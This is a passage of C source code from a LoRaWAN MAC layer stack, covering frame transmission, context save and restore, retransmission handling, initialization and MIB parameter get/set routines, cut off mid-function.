if( LoRaMacClassBIsBeaconModeActive( ) == true ) { // Currently, the Time-On-Air can only be computed when the radio is configured with // the TX configuration TimerTime_t collisionTime = LoRaMacClassBIsUplinkCollision( MacCtx.TxTimeOnAir ); if( collisionTime > 0 ) { return LORAMAC_STATUS_BUSY_UPLINK_COLLISION; } } if( MacCtx.NvmCtx->DeviceClass == CLASS_B ) { // Stop slots for class b LoRaMacClassBStopRxSlots( ); } LoRaMacClassBHaltBeaconing( ); MacCtx.MacState |= LORAMAC_TX_RUNNING; if( MacCtx.NodeAckRequested == false ) { MacCtx.ChannelsNbTransCounter++; } // Send now Radio.Send( MacCtx.PktBuffer, MacCtx.PktBufferLen ); return LORAMAC_STATUS_OK; } LoRaMacStatus_t SetTxContinuousWave( uint16_t timeout ) { ContinuousWaveParams_t continuousWave; continuousWave.Channel = MacCtx.Channel; continuousWave.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; continuousWave.TxPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; continuousWave.MaxEirp = MacCtx.NvmCtx->MacParams.MaxEirp; continuousWave.AntennaGain = MacCtx.NvmCtx->MacParams.AntennaGain; continuousWave.Timeout = timeout; RegionSetContinuousWave( MacCtx.NvmCtx->Region, &continuousWave ); MacCtx.MacState |= LORAMAC_TX_RUNNING; return LORAMAC_STATUS_OK; } LoRaMacStatus_t SetTxContinuousWave1( uint16_t timeout, uint32_t frequency, uint8_t power ) { Radio.SetTxContinuousWave( frequency, power, timeout ); MacCtx.MacState |= LORAMAC_TX_RUNNING; return LORAMAC_STATUS_OK; } LoRaMacCtxs_t* GetCtxs( void ) { Contexts.MacNvmCtx = &NvmMacCtx; Contexts.MacNvmCtxSize = sizeof( NvmMacCtx ); Contexts.CryptoNvmCtx = LoRaMacCryptoGetNvmCtx( &Contexts.CryptoNvmCtxSize ); GetNvmCtxParams_t params ={ 0 }; Contexts.RegionNvmCtx = RegionGetNvmCtx( MacCtx.NvmCtx->Region, &params ); Contexts.RegionNvmCtxSize = params.nvmCtxSize; Contexts.SecureElementNvmCtx = SecureElementGetNvmCtx( &Contexts.SecureElementNvmCtxSize ); Contexts.CommandsNvmCtx = LoRaMacCommandsGetNvmCtx( &Contexts.CommandsNvmCtxSize ); Contexts.ClassBNvmCtx = LoRaMacClassBGetNvmCtx( &Contexts.ClassBNvmCtxSize ); Contexts.ConfirmQueueNvmCtx = LoRaMacConfirmQueueGetNvmCtx( &Contexts.ConfirmQueueNvmCtxSize ); return &Contexts; } LoRaMacStatus_t RestoreCtxs( LoRaMacCtxs_t* contexts ) { if( contexts == NULL ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( MacCtx.MacState != LORAMAC_STOPPED ) { return LORAMAC_STATUS_BUSY; } if( contexts->MacNvmCtx != NULL ) { memcpy1( ( uint8_t* ) &NvmMacCtx, ( uint8_t* ) contexts->MacNvmCtx, contexts->MacNvmCtxSize ); } InitDefaultsParams_t params; params.Type = INIT_TYPE_RESTORE_CTX; params.NvmCtx = contexts->RegionNvmCtx; RegionInitDefaults( MacCtx.NvmCtx->Region, &params ); // Initialize RxC config parameters. MacCtx.RxWindowCConfig.Channel = MacCtx.Channel; MacCtx.RxWindowCConfig.Frequency = MacCtx.NvmCtx->MacParams.RxCChannel.Frequency; MacCtx.RxWindowCConfig.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; MacCtx.RxWindowCConfig.RxContinuous = true; MacCtx.RxWindowCConfig.RxSlot = RX_SLOT_WIN_CLASS_C; if( SecureElementRestoreNvmCtx( contexts->SecureElementNvmCtx ) != SECURE_ELEMENT_SUCCESS ) { return LORAMAC_STATUS_CRYPTO_ERROR; } if( LoRaMacCryptoRestoreNvmCtx( contexts->CryptoNvmCtx ) != LORAMAC_CRYPTO_SUCCESS ) { return LORAMAC_STATUS_CRYPTO_ERROR; } if( LoRaMacCommandsRestoreNvmCtx( contexts->CommandsNvmCtx ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } if( LoRaMacClassBRestoreNvmCtx( contexts->ClassBNvmCtx ) != true ) { return LORAMAC_STATUS_CLASS_B_ERROR; } if( LoRaMacConfirmQueueRestoreNvmCtx( contexts->ConfirmQueueNvmCtx ) != true ) { return LORAMAC_STATUS_CONFIRM_QUEUE_ERROR; } return LORAMAC_STATUS_OK; } LoRaMacStatus_t DetermineFrameType( LoRaMacMessageData_t* macMsg, FType_t* fType ) { if( ( macMsg == NULL ) || ( fType == NULL ) ) { return LORAMAC_STATUS_PARAMETER_INVALID; } /* The LoRaWAN specification allows several possible configurations how data up/down frames are built up. * In sake of clearness the following naming is applied. Please keep in mind that this is * implementation specific since there is no definition in the LoRaWAN specification included. * * X -> Field is available * - -> Field is not available * * +-------+ +----------+------+-------+--------------+ * | FType | | FOptsLen | Fopt | FPort | FRMPayload | * +-------+ +----------+------+-------+--------------+ * | A | | > 0 | X | > 0 | X | * +-------+ +----------+------+-------+--------------+ * | B | | >= 0 | X/- | - | - | * +-------+ +----------+------+-------+--------------+ * | C | | = 0 | - | = 0 | MAC commands | * +-------+ +----------+------+-------+--------------+ * | D | | = 0 | - | > 0 | X | * +-------+ +----------+------+-------+--------------+ */ if( ( macMsg->FHDR.FCtrl.Bits.FOptsLen > 0 ) && ( macMsg->FPort > 0 ) ) { *fType = FRAME_TYPE_A; } else if( macMsg->FRMPayloadSize == 0 ) { *fType = FRAME_TYPE_B; } else if( ( macMsg->FHDR.FCtrl.Bits.FOptsLen == 0 ) && ( macMsg->FPort == 0 ) ) { *fType = FRAME_TYPE_C; } else if( ( macMsg->FHDR.FCtrl.Bits.FOptsLen == 0 ) && ( macMsg->FPort > 0 ) ) { *fType = FRAME_TYPE_D; } else { // Should never happen. return LORAMAC_STATUS_ERROR; } return LORAMAC_STATUS_OK; } static bool CheckRetransUnconfirmedUplink( void ) { // Unconfirmed uplink, when all retransmissions are done. if( MacCtx.ChannelsNbTransCounter >= MacCtx.NvmCtx->MacParams.ChannelsNbTrans ) { return true; } else if( MacCtx.MacFlags.Bits.McpsInd == 1 ) { // For Class A stop in each case if( MacCtx.NvmCtx->DeviceClass == CLASS_A ) { return true; } else {// For Class B & C stop only if the frame was received in RX1 window if( MacCtx.McpsIndication.RxSlot == RX_SLOT_WIN_1 ) { return true; } } } return false; } static bool CheckRetransConfirmedUplink( void ) { // Confirmed uplink, when all retransmissions ( tries to get a ack ) are done. if( MacCtx.AckTimeoutRetriesCounter >= MacCtx.AckTimeoutRetries ) { return true; } else if( MacCtx.MacFlags.Bits.McpsInd == 1 ) { if( MacCtx.McpsConfirm.AckReceived == true ) { return true; } } return false; } static bool StopRetransmission( void ) { if( ( MacCtx.MacFlags.Bits.McpsInd == 0 ) || ( ( MacCtx.McpsIndication.RxSlot != RX_SLOT_WIN_1 ) && ( MacCtx.McpsIndication.RxSlot != RX_SLOT_WIN_2 ) ) ) { // Maximum repetitions without downlink. Increase ADR Ack counter. // Only process the case when the MAC did not receive a downlink. if( MacCtx.NvmCtx->AdrCtrlOn == true ) { MacCtx.NvmCtx->AdrAckCounter++; } } MacCtx.ChannelsNbTransCounter = 0; MacCtx.NodeAckRequested = false; MacCtx.AckTimeoutRetry = false; MacCtx.MacState &= ~LORAMAC_TX_RUNNING; return true; } static void AckTimeoutRetriesProcess( void ) { if( MacCtx.AckTimeoutRetriesCounter < MacCtx.AckTimeoutRetries ) { MacCtx.AckTimeoutRetriesCounter++; if( ( MacCtx.AckTimeoutRetriesCounter % 2 ) == 1 ) { GetPhyParams_t getPhy; PhyParam_t phyParam; getPhy.Attribute = PHY_NEXT_LOWER_TX_DR; getPhy.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; getPhy.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParams.ChannelsDatarate = phyParam.Value; } } } static void AckTimeoutRetriesFinalize( void ) { if( MacCtx.McpsConfirm.AckReceived == false ) { InitDefaultsParams_t params; params.Type = INIT_TYPE_RESTORE_DEFAULT_CHANNELS; params.NvmCtx = Contexts.RegionNvmCtx; RegionInitDefaults( MacCtx.NvmCtx->Region, &params ); MacCtx.NodeAckRequested = false; MacCtx.McpsConfirm.AckReceived = false; } MacCtx.McpsConfirm.NbRetries = MacCtx.AckTimeoutRetriesCounter; } static void CallNvmCtxCallback( LoRaMacNvmCtxModule_t module ) { if( ( MacCtx.MacCallbacks != NULL ) && ( MacCtx.MacCallbacks->NvmContextChange != NULL ) ) { MacCtx.MacCallbacks->NvmContextChange( module ); } } static void EventMacNvmCtxChanged( void ) { CallNvmCtxCallback( LORAMAC_NVMCTXMODULE_MAC ); } static void EventRegionNvmCtxChanged( void ) { CallNvmCtxCallback( LORAMAC_NVMCTXMODULE_REGION ); } static void EventCryptoNvmCtxChanged( void ) { CallNvmCtxCallback( LORAMAC_NVMCTXMODULE_CRYPTO ); } static void EventSecureElementNvmCtxChanged( void ) { CallNvmCtxCallback( LORAMAC_NVMCTXMODULE_SECURE_ELEMENT ); } static void EventCommandsNvmCtxChanged( void ) { CallNvmCtxCallback( LORAMAC_NVMCTXMODULE_COMMANDS ); } static void EventClassBNvmCtxChanged( void ) { CallNvmCtxCallback( LORAMAC_NVMCTXMODULE_CLASS_B ); } static void EventConfirmQueueNvmCtxChanged( void ) { CallNvmCtxCallback( LORAMAC_NVMCTXMODULE_CONFIRM_QUEUE ); } static uint8_t IsRequestPending( void ) { if( ( MacCtx.MacFlags.Bits.MlmeReq == 1 ) || ( MacCtx.MacFlags.Bits.McpsReq == 1 ) ) { return 1; } return 0; } LoRaMacStatus_t LoRaMacInitialization( LoRaMacPrimitives_t* primitives, LoRaMacCallback_t* callbacks, LoRaMacRegion_t region ) { GetPhyParams_t getPhy; PhyParam_t phyParam; LoRaMacClassBCallback_t classBCallbacks; LoRaMacClassBParams_t classBParams; if( ( primitives == NULL ) || ( callbacks == NULL ) ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( ( primitives->MacMcpsConfirm == NULL ) || ( primitives->MacMcpsIndication == NULL ) || ( primitives->MacMlmeConfirm == NULL ) || ( primitives->MacMlmeIndication == NULL ) ) { return LORAMAC_STATUS_PARAMETER_INVALID; } // Verify if the region is supported if( RegionIsActive( region ) == false ) { return LORAMAC_STATUS_REGION_NOT_SUPPORTED; } // Confirm queue reset LoRaMacConfirmQueueInit( primitives, EventConfirmQueueNvmCtxChanged ); // Initialize the module context with zeros memset1( ( uint8_t* ) &NvmMacCtx, 0x00, sizeof( LoRaMacNvmCtx_t ) ); memset1( ( uint8_t* ) &MacCtx, 0x00, sizeof( LoRaMacCtx_t ) ); MacCtx.NvmCtx = &NvmMacCtx; // Set non zero variables to its default value MacCtx.AckTimeoutRetriesCounter = 1; MacCtx.AckTimeoutRetries = 1; MacCtx.NvmCtx->Region = region; MacCtx.NvmCtx->DeviceClass = CLASS_A; // Setup version MacCtx.NvmCtx->Version.Value = LORAMAC_VERSION; // Reset to defaults getPhy.Attribute = PHY_DUTY_CYCLE; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->DutyCycleOn = ( bool ) phyParam.Value; getPhy.Attribute = PHY_DEF_TX_POWER; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.ChannelsTxPower = phyParam.Value; getPhy.Attribute = PHY_DEF_TX_DR; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.ChannelsDatarate = phyParam.Value; getPhy.Attribute = PHY_MAX_RX_WINDOW; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.MaxRxWindow = phyParam.Value; getPhy.Attribute = PHY_RECEIVE_DELAY1; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.ReceiveDelay1 = phyParam.Value; getPhy.Attribute = PHY_RECEIVE_DELAY2; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.ReceiveDelay2 = phyParam.Value; getPhy.Attribute = PHY_JOIN_ACCEPT_DELAY1; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.JoinAcceptDelay1 = phyParam.Value; getPhy.Attribute = PHY_JOIN_ACCEPT_DELAY2; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.JoinAcceptDelay2 = phyParam.Value; getPhy.Attribute = PHY_DEF_DR1_OFFSET; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.Rx1DrOffset = phyParam.Value; getPhy.Attribute = PHY_DEF_RX2_FREQUENCY; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.Rx2Channel.Frequency = phyParam.Value; MacCtx.NvmCtx->MacParamsDefaults.RxCChannel.Frequency = phyParam.Value; getPhy.Attribute = PHY_DEF_RX2_DR; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.Rx2Channel.Datarate = phyParam.Value; MacCtx.NvmCtx->MacParamsDefaults.RxCChannel.Datarate = phyParam.Value; getPhy.Attribute = PHY_DEF_UPLINK_DWELL_TIME; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.UplinkDwellTime = phyParam.Value; getPhy.Attribute = PHY_DEF_DOWNLINK_DWELL_TIME; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.DownlinkDwellTime = phyParam.Value; getPhy.Attribute = PHY_DEF_MAX_EIRP; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.MaxEirp = phyParam.fValue; getPhy.Attribute = PHY_DEF_ANTENNA_GAIN; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.NvmCtx->MacParamsDefaults.AntennaGain = phyParam.fValue; getPhy.Attribute = PHY_DEF_ADR_ACK_LIMIT; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.AdrAckLimit = phyParam.Value; getPhy.Attribute = PHY_DEF_ADR_ACK_DELAY; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); MacCtx.AdrAckDelay = phyParam.Value; // Init parameters which are not set in function ResetMacParameters MacCtx.NvmCtx->MacParamsDefaults.ChannelsNbTrans = 1; MacCtx.NvmCtx->MacParamsDefaults.SystemMaxRxError = 10; MacCtx.NvmCtx->MacParamsDefaults.MinRxSymbols = 6; MacCtx.NvmCtx->MacParams.SystemMaxRxError = MacCtx.NvmCtx->MacParamsDefaults.SystemMaxRxError; MacCtx.NvmCtx->MacParams.MinRxSymbols = MacCtx.NvmCtx->MacParamsDefaults.MinRxSymbols; MacCtx.NvmCtx->MacParams.MaxRxWindow = MacCtx.NvmCtx->MacParamsDefaults.MaxRxWindow; MacCtx.NvmCtx->MacParams.ReceiveDelay1 = MacCtx.NvmCtx->MacParamsDefaults.ReceiveDelay1; MacCtx.NvmCtx->MacParams.ReceiveDelay2 = MacCtx.NvmCtx->MacParamsDefaults.ReceiveDelay2; MacCtx.NvmCtx->MacParams.JoinAcceptDelay1 = MacCtx.NvmCtx->MacParamsDefaults.JoinAcceptDelay1; MacCtx.NvmCtx->MacParams.JoinAcceptDelay2 = MacCtx.NvmCtx->MacParamsDefaults.JoinAcceptDelay2; MacCtx.NvmCtx->MacParams.ChannelsNbTrans = MacCtx.NvmCtx->MacParamsDefaults.ChannelsNbTrans; InitDefaultsParams_t params; params.Type = INIT_TYPE_BANDS; params.NvmCtx = NULL; RegionInitDefaults( MacCtx.NvmCtx->Region, &params ); ResetMacParameters( ); MacCtx.NvmCtx->PublicNetwork = true; MacCtx.MacPrimitives = primitives; MacCtx.MacCallbacks = callbacks; MacCtx.MacFlags.Value = 0; MacCtx.MacState = LORAMAC_STOPPED; // Reset duty cycle times MacCtx.NvmCtx->LastTxDoneTime = 0; MacCtx.NvmCtx->AggregatedTimeOff = 0; // Initialize timers TimerInit( &MacCtx.TxDelayedTimer, OnTxDelayedTimerEvent ); TimerInit( &MacCtx.RxWindowTimer1, OnRxWindow1TimerEvent ); TimerInit( &MacCtx.RxWindowTimer2, OnRxWindow2TimerEvent ); TimerInit( &MacCtx.AckTimeoutTimer, OnAckTimeoutTimerEvent ); // Store the current initialization time MacCtx.NvmCtx->InitializationTime = SysTimeGetMcuTime( ); // Initialize Radio driver MacCtx.RadioEvents.TxDone = OnRadioTxDone; MacCtx.RadioEvents.RxDone = OnRadioRxDone; MacCtx.RadioEvents.RxError = OnRadioRxError; MacCtx.RadioEvents.TxTimeout = OnRadioTxTimeout; MacCtx.RadioEvents.RxTimeout = OnRadioRxTimeout; Radio.Init( &MacCtx.RadioEvents ); // Initialize the Secure Element driver if( SecureElementInit( EventSecureElementNvmCtxChanged ) != SECURE_ELEMENT_SUCCESS ) { return LORAMAC_STATUS_CRYPTO_ERROR; } // Initialize Crypto module if( LoRaMacCryptoInit( EventCryptoNvmCtxChanged ) != LORAMAC_CRYPTO_SUCCESS ) { return LORAMAC_STATUS_CRYPTO_ERROR; } // Initialize MAC commands module if( LoRaMacCommandsInit( EventCommandsNvmCtxChanged ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } // Set multicast downlink counter reference if( LoRaMacCryptoSetMulticastReference( MacCtx.NvmCtx->MulticastChannelList ) != LORAMAC_CRYPTO_SUCCESS ) { return LORAMAC_STATUS_CRYPTO_ERROR; } // Random seed initialization srand1( Radio.Random( ) ); Radio.SetPublicNetwork( MacCtx.NvmCtx->PublicNetwork ); Radio.Sleep( ); // Initialize class b // Apply callback classBCallbacks.GetTemperatureLevel = NULL; classBCallbacks.MacProcessNotify = NULL; if( callbacks != NULL ) { classBCallbacks.GetTemperatureLevel = callbacks->GetTemperatureLevel; classBCallbacks.MacProcessNotify = callbacks->MacProcessNotify; } // Must all be static. Don't use local references. classBParams.MlmeIndication = &MacCtx.MlmeIndication; classBParams.McpsIndication = &MacCtx.McpsIndication; classBParams.MlmeConfirm = &MacCtx.MlmeConfirm; classBParams.LoRaMacFlags = &MacCtx.MacFlags; classBParams.LoRaMacDevAddr = &MacCtx.NvmCtx->DevAddr; classBParams.LoRaMacRegion = &MacCtx.NvmCtx->Region; classBParams.LoRaMacParams = &MacCtx.NvmCtx->MacParams; classBParams.MulticastChannels = &MacCtx.NvmCtx->MulticastChannelList[0]; LoRaMacClassBInit( &classBParams, &classBCallbacks, &EventClassBNvmCtxChanged ); LoRaMacEnableRequests( LORAMAC_REQUEST_HANDLING_ON ); return LORAMAC_STATUS_OK; } LoRaMacStatus_t LoRaMacStart( void ) { MacCtx.MacState = LORAMAC_IDLE; return LORAMAC_STATUS_OK; } LoRaMacStatus_t LoRaMacStop( void ) { if( LoRaMacIsBusy( ) == false ) { MacCtx.MacState = LORAMAC_STOPPED; return LORAMAC_STATUS_OK; } else if( MacCtx.MacState == LORAMAC_STOPPED ) { return LORAMAC_STATUS_OK; } return LORAMAC_STATUS_BUSY; } LoRaMacStatus_t LoRaMacQueryNextTxDelay( int8_t datarate, TimerTime_t* time ) { NextChanParams_t nextChan; uint8_t channel = 0; CalcNextAdrParams_t adrNext; uint32_t adrAckCounter = MacCtx.NvmCtx->AdrAckCounter; int8_t txPower = MacCtx.NvmCtx->MacParamsDefaults.ChannelsTxPower; if( time == NULL ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( MacCtx.NvmCtx->LastTxDoneTime == 0 ) { *time = 0; return LORAMAC_STATUS_OK; } // Update back-off CalculateBackOff( MacCtx.NvmCtx->LastTxChannel ); nextChan.AggrTimeOff = MacCtx.NvmCtx->AggregatedTimeOff; nextChan.Datarate = datarate; nextChan.DutyCycleEnabled = MacCtx.NvmCtx->DutyCycleOn; nextChan.QueryNextTxDelayOnly = true; nextChan.Joined = true; nextChan.LastAggrTx = MacCtx.NvmCtx->LastTxDoneTime; if( MacCtx.NvmCtx->NetworkActivation == ACTIVATION_TYPE_NONE ) { nextChan.Joined = false; } if( MacCtx.NvmCtx->AdrCtrlOn == true ) { // Setup ADR request adrNext.UpdateChanMask = false; adrNext.AdrEnabled = MacCtx.NvmCtx->AdrCtrlOn; adrNext.AdrAckCounter = MacCtx.NvmCtx->AdrAckCounter; adrNext.AdrAckLimit = MacCtx.AdrAckLimit; adrNext.AdrAckDelay = MacCtx.AdrAckDelay; adrNext.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; adrNext.TxPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; adrNext.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; adrNext.Region = MacCtx.NvmCtx->Region; // We call the function for information purposes only. We don't want to // apply the datarate, the tx power and the ADR ack counter. LoRaMacAdrCalcNext( &adrNext, &nextChan.Datarate, &txPower, &adrAckCounter ); } // Select channel return RegionNextChannel( MacCtx.NvmCtx->Region, &nextChan, &channel, time, &MacCtx.NvmCtx->AggregatedTimeOff ); } LoRaMacStatus_t LoRaMacQueryTxPossible( uint8_t size, LoRaMacTxInfo_t* txInfo ) { CalcNextAdrParams_t adrNext; uint32_t adrAckCounter = MacCtx.NvmCtx->AdrAckCounter; int8_t datarate = MacCtx.NvmCtx->MacParamsDefaults.ChannelsDatarate; int8_t txPower = MacCtx.NvmCtx->MacParamsDefaults.ChannelsTxPower; size_t macCmdsSize = 0; if( txInfo == NULL ) { return LORAMAC_STATUS_PARAMETER_INVALID; } // Setup ADR request adrNext.Version = MacCtx.NvmCtx->Version; adrNext.UpdateChanMask = false; adrNext.AdrEnabled = MacCtx.NvmCtx->AdrCtrlOn; adrNext.AdrAckCounter = MacCtx.NvmCtx->AdrAckCounter; adrNext.AdrAckLimit = MacCtx.AdrAckLimit; adrNext.AdrAckDelay = MacCtx.AdrAckDelay; adrNext.Datarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; adrNext.TxPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; adrNext.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; adrNext.Region = MacCtx.NvmCtx->Region; // We call the function for information purposes only. We don't want to // apply the datarate, the tx power and the ADR ack counter. LoRaMacAdrCalcNext( &adrNext, &datarate, &txPower, &adrAckCounter ); txInfo->CurrentPossiblePayloadSize = GetMaxAppPayloadWithoutFOptsLength( datarate ); if( LoRaMacCommandsGetSizeSerializedCmds( &macCmdsSize ) != LORAMAC_COMMANDS_SUCCESS ) { return LORAMAC_STATUS_MAC_COMMAD_ERROR; } // Verify if the MAC commands fit into the FOpts and into the maximum payload. if( ( LORA_MAC_COMMAND_MAX_FOPTS_LENGTH >= macCmdsSize ) && ( txInfo->CurrentPossiblePayloadSize >= macCmdsSize ) ) { txInfo->MaxPossibleApplicationDataSize = txInfo->CurrentPossiblePayloadSize - macCmdsSize; // Verify if the application data together with MAC command fit into the maximum payload. if( txInfo->CurrentPossiblePayloadSize >= ( macCmdsSize + size ) ) { return LORAMAC_STATUS_OK; } else { return LORAMAC_STATUS_LENGTH_ERROR; } } else { txInfo->MaxPossibleApplicationDataSize = 0; return LORAMAC_STATUS_LENGTH_ERROR; } } LoRaMacStatus_t LoRaMacMibGetRequestConfirm( MibRequestConfirm_t* mibGet ) { LoRaMacStatus_t status = LORAMAC_STATUS_OK; GetPhyParams_t getPhy; PhyParam_t phyParam; if( mibGet == NULL ) { return LORAMAC_STATUS_PARAMETER_INVALID; } switch( mibGet->Type ) { case MIB_DEVICE_CLASS: { mibGet->Param.Class = MacCtx.NvmCtx->DeviceClass; break; } case MIB_NETWORK_ACTIVATION: { mibGet->Param.NetworkActivation = MacCtx.NvmCtx->NetworkActivation; break; } case MIB_DEV_EUI: { mibGet->Param.DevEui = SecureElementGetDevEui( ); break; } case MIB_JOIN_EUI: { mibGet->Param.JoinEui = SecureElementGetJoinEui( ); break; } case MIB_SE_PIN: { mibGet->Param.JoinEui = SecureElementGetPin( ); break; } case MIB_ADR: { mibGet->Param.AdrEnable = MacCtx.NvmCtx->AdrCtrlOn; break; } case MIB_NET_ID: { mibGet->Param.NetID = MacCtx.NvmCtx->NetID; break; } case MIB_DEV_ADDR: { mibGet->Param.DevAddr = MacCtx.NvmCtx->DevAddr; break; } case MIB_PUBLIC_NETWORK: { mibGet->Param.EnablePublicNetwork = MacCtx.NvmCtx->PublicNetwork; break; } case MIB_CHANNELS: { getPhy.Attribute = PHY_CHANNELS; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); mibGet->Param.ChannelList = phyParam.Channels; break; } case MIB_RX2_CHANNEL: { mibGet->Param.Rx2Channel = MacCtx.NvmCtx->MacParams.Rx2Channel; break; } case MIB_RX2_DEFAULT_CHANNEL: { mibGet->Param.Rx2Channel = MacCtx.NvmCtx->MacParamsDefaults.Rx2Channel; break; } case MIB_RXC_CHANNEL: { mibGet->Param.RxCChannel = MacCtx.NvmCtx->MacParams.RxCChannel; break; } case MIB_RXC_DEFAULT_CHANNEL: { mibGet->Param.RxCChannel = MacCtx.NvmCtx->MacParamsDefaults.RxCChannel; break; } case MIB_CHANNELS_DEFAULT_MASK: { getPhy.Attribute = PHY_CHANNELS_DEFAULT_MASK; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); mibGet->Param.ChannelsDefaultMask = phyParam.ChannelsMask; break; } case MIB_CHANNELS_MASK: { getPhy.Attribute = PHY_CHANNELS_MASK; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); mibGet->Param.ChannelsMask = phyParam.ChannelsMask; break; } case MIB_CHANNELS_NB_TRANS: { mibGet->Param.ChannelsNbTrans = MacCtx.NvmCtx->MacParams.ChannelsNbTrans; break; } case MIB_MAX_RX_WINDOW_DURATION: { mibGet->Param.MaxRxWindow = MacCtx.NvmCtx->MacParams.MaxRxWindow; break; } case MIB_RECEIVE_DELAY_1: { mibGet->Param.ReceiveDelay1 = MacCtx.NvmCtx->MacParams.ReceiveDelay1; break; } case MIB_RECEIVE_DELAY_2: { mibGet->Param.ReceiveDelay2 = MacCtx.NvmCtx->MacParams.ReceiveDelay2; break; } case MIB_JOIN_ACCEPT_DELAY_1: { mibGet->Param.JoinAcceptDelay1 = MacCtx.NvmCtx->MacParams.JoinAcceptDelay1; break; } case MIB_JOIN_ACCEPT_DELAY_2: { mibGet->Param.JoinAcceptDelay2 = MacCtx.NvmCtx->MacParams.JoinAcceptDelay2; break; } case MIB_CHANNELS_DEFAULT_DATARATE: { mibGet->Param.ChannelsDefaultDatarate = MacCtx.NvmCtx->MacParamsDefaults.ChannelsDatarate; break; } case MIB_CHANNELS_DATARATE: { mibGet->Param.ChannelsDatarate = MacCtx.NvmCtx->MacParams.ChannelsDatarate; break; } case MIB_CHANNELS_DEFAULT_TX_POWER: { mibGet->Param.ChannelsDefaultTxPower = MacCtx.NvmCtx->MacParamsDefaults.ChannelsTxPower; break; } case MIB_CHANNELS_TX_POWER: { mibGet->Param.ChannelsTxPower = MacCtx.NvmCtx->MacParams.ChannelsTxPower; break; } case MIB_SYSTEM_MAX_RX_ERROR: { mibGet->Param.SystemMaxRxError = MacCtx.NvmCtx->MacParams.SystemMaxRxError; break; } case MIB_MIN_RX_SYMBOLS: { mibGet->Param.MinRxSymbols = MacCtx.NvmCtx->MacParams.MinRxSymbols; break; } case MIB_ANTENNA_GAIN: { mibGet->Param.AntennaGain = MacCtx.NvmCtx->MacParams.AntennaGain; break; } case MIB_NVM_CTXS: { mibGet->Param.Contexts = GetCtxs( ); break; } case MIB_DEFAULT_ANTENNA_GAIN: { mibGet->Param.DefaultAntennaGain = MacCtx.NvmCtx->MacParamsDefaults.AntennaGain; break; } case MIB_LORAWAN_VERSION: { mibGet->Param.LrWanVersion.LoRaWan = MacCtx.NvmCtx->Version; mibGet->Param.LrWanVersion.LoRaWanRegion = RegionGetVersion( ); break; } default: { status = LoRaMacClassBMibGetRequestConfirm( mibGet ); break; } } return status; } LoRaMacStatus_t LoRaMacMibSetRequestConfirm( MibRequestConfirm_t* mibSet ) { LoRaMacStatus_t status = LORAMAC_STATUS_OK; ChanMaskSetParams_t chanMaskSet; VerifyParams_t verify; if( mibSet == NULL ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( ( MacCtx.MacState & LORAMAC_TX_RUNNING ) == LORAMAC_TX_RUNNING ) { return LORAMAC_STATUS_BUSY; } switch( mibSet->Type ) { case MIB_DEVICE_CLASS: { status = SwitchClass( mibSet->Param.Class ); break; } case MIB_NETWORK_ACTIVATION: { if( mibSet->Param.NetworkActivation != ACTIVATION_TYPE_OTAA ) { MacCtx.NvmCtx->NetworkActivation = mibSet->Param.NetworkActivation; } else { // Do not allow to set ACTIVATION_TYPE_OTAA since the MAC will set it automatically after a successful join process. status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_DEV_EUI: { if( SecureElementSetDevEui( mibSet->Param.DevEui ) != SECURE_ELEMENT_SUCCESS ) { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_JOIN_EUI: { if( 